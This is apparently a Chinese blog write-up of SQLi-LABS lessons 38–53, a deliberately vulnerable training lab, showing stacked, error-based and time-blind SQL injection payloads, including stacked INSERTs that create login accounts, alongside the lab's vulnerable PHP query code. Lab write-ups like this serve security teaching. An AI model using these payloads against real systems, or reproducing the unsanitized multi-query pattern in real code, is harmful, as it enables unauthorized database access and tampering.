码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • SQLi-LABS Page-3 (Stacked Injections)


    目录

    less-38-堆叠注入-GET-单引号闭合

     less-39-堆叠注入-GET-整形闭合

    less-40-堆叠注入-GET-')闭合-无报错

    less-41-堆叠注入-GET-整形闭合

    less-42-堆叠注入-POST-写入数据-单引号闭合

    less-43-堆叠注入-POST-写入数据-单引号+括号闭合

    less-44-堆叠注入-POST-写入数据-单引号闭合-无报错

    less-45-堆叠注入-POST-写入数据-单引号+括号闭合-无报错

    less-46-报错注入-GET-整形闭合

    less-47-报错注入-GET-单引号闭合

    less-48-time盲注-GET-整形闭合-无报错

    less-49-time盲注-GET-单引号闭合-无报错

    less-50-堆叠报错注入-GET-整形闭合 

    less-51-堆叠、报错注入-GET-单引号闭合 

    less-52-堆叠注入、time盲注-GET-整形闭合-无报错

    less-53-堆叠注入、time盲注-GET-单引号闭合-无报错


    less-38-堆叠注入-GET-单引号闭合

    联合查询就直接出来了?

    id=-1' union select 1,database(),3--+

    关键源码:

    1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    2. if (mysqli_multi_query($con1, $sql))
    3. print_r(mysqli_error($con1));

     mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

     执行多条代码:

    id=-1';insert into users(id,username,password)values(55,'123','312');--+

    可见已经成功执行: 

     less-39-堆叠注入-GET-整形闭合

    和less-38一样只是闭合方式不同。

    less-40-堆叠注入-GET-')闭合-无报错

    和less-39一样只是闭合方式不同,而且没有报错信息。

    less-41-堆叠注入-GET-整形闭合

    和less-40一样只是闭合方式不同。

    less-42-堆叠注入-POST-写入数据-单引号闭合

    用堆叠注入写进数据库一个用户和密码。

    在password输入1'报错了,存在注入点,闭合方式是单引号:

     我们不知道用户和密码在哪一个表里面,这里有报错看看能不能用报错注入查到:

    答案是可以的,这里就不演示了。

    查到在users表里面,这里也可以直接用报错注入查数据库里面的用户和密码,但是还是用一下堆叠注入吧。

    在users表里面添加username,password分别为test,123456

    login_user=&login_password=1' ;insert into users(username,password) values('test','123456')--+ &mysubmit=Login

    然后用用户密码成功登陆: 

    关键源码:

    1. $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
    2. $password = $_POST["login_password"];
    3. $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
    4. if (@mysqli_multi_query($con1, $sql))
    5. print_r(mysqli_error($con1));

     

    less-43-堆叠注入-POST-写入数据-单引号+括号闭合

    和less42一样只是闭合方式不同。

    less-44-堆叠注入-POST-写入数据-单引号闭合-无报错

    和less-42关一样只是没有了报错信息。

    less-45-堆叠注入-POST-写入数据-单引号+括号闭合-无报错

    和less-43关一样只是没有了报错信息。

    less-46-报错注入-GET-整形闭合

    输入sort=1正常,sort=1'和1'都报错,所以是整形闭合。有报错信息直接用报错注入。

    sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+

    关键源码:

    1. $sql = "SELECT * FROM users ORDER BY $id";
    2. $result = mysql_query($sql);
    3. print_r(mysql_error());

    原sql语句只有order by后面的参数是我们可控的,所以sort=1的意思就是以第一列数据也就是ID进行排序。输入sort=2就是以第二列也就是username进行排序。输入sort=3就是以第三列也就是password进行排序。输入sort=4发现会报错,因为根本没有第四列数据,这也是order by为什么能作为判断字段数的原因。

    less-47-报错注入-GET-单引号闭合

    和less-46一样只是闭合方式不同。

    sort=1'and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+

    less-48-time盲注-GET-整形闭合-无报错

    输入

    1. sort=1 and 1=1 --+
    2. sort=1 and 1=2 --+

     

     

    回显一样 ,所以不能用bool盲注,用time盲注。

    less-49-time盲注-GET-单引号闭合-无报错

    和less-47一样只是没有报错,用time盲注。

    less-50-堆叠报错注入-GET-整形闭合 

    1. sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1)--+
    2. sort=1 and updatexml(1,concat(0x7e, (select @@version),0x7e),1);

     

    1. $sql="SELECT * FROM users ORDER BY $id";
    2. /* execute multi query */
    3. if (mysqli_multi_query($con1, $sql))
    4. print_r(mysqli_error($con1));

    使用堆叠注入创建用户:

    sort=1; insert into users(id,username,password)values(18,'test','test')

    less-51-堆叠、报错注入-GET-单引号闭合 

    和less-50一样只是闭合方式不同。

    less-52-堆叠注入、time盲注-GET-整形闭合-无报错

    堆叠注入:

    sort=1; insert into users(id,username,password)values(19,'test','test')--+

     

    less-53-堆叠注入、time盲注-GET-单引号闭合-无报错

    和less52一样只是闭合方式不同。

     

  • 相关阅读:
    ThreadLocal的简单理解
    C++程序右移32位不执行
    Prometheus系列(一)安装
    校园交友|基于SprinBoot+vue的校园交友网站(源码+数据库+文档)
    动态内存管理(2)
    c#求STDEV标准偏差方法
    【linux基础(五)】Linux中的开发工具(上)---yum和vim
    【Android学习】日期和时间选择对话框
    NLP:生成熟悉NLP开源工具,如NLTK、 HanLP等,并搜寻、下载和熟悉PKU、 CoreNLP, LTP MSR, AS CITYI 等语料库。
    Spring Bean的生命周期、Java配置BeanFactoryPostProcessor失效与解决
  • 原文地址:https://blog.csdn.net/qq_61774705/article/details/126262609
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号